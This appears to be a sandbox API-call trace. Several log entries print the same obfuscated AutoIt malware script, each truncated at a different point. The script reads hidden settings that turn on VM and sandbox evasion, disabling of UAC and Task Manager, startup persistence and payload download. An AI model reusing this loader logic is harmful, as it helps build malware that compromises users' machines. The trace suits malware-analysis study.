IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7F", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Global Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="obal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = 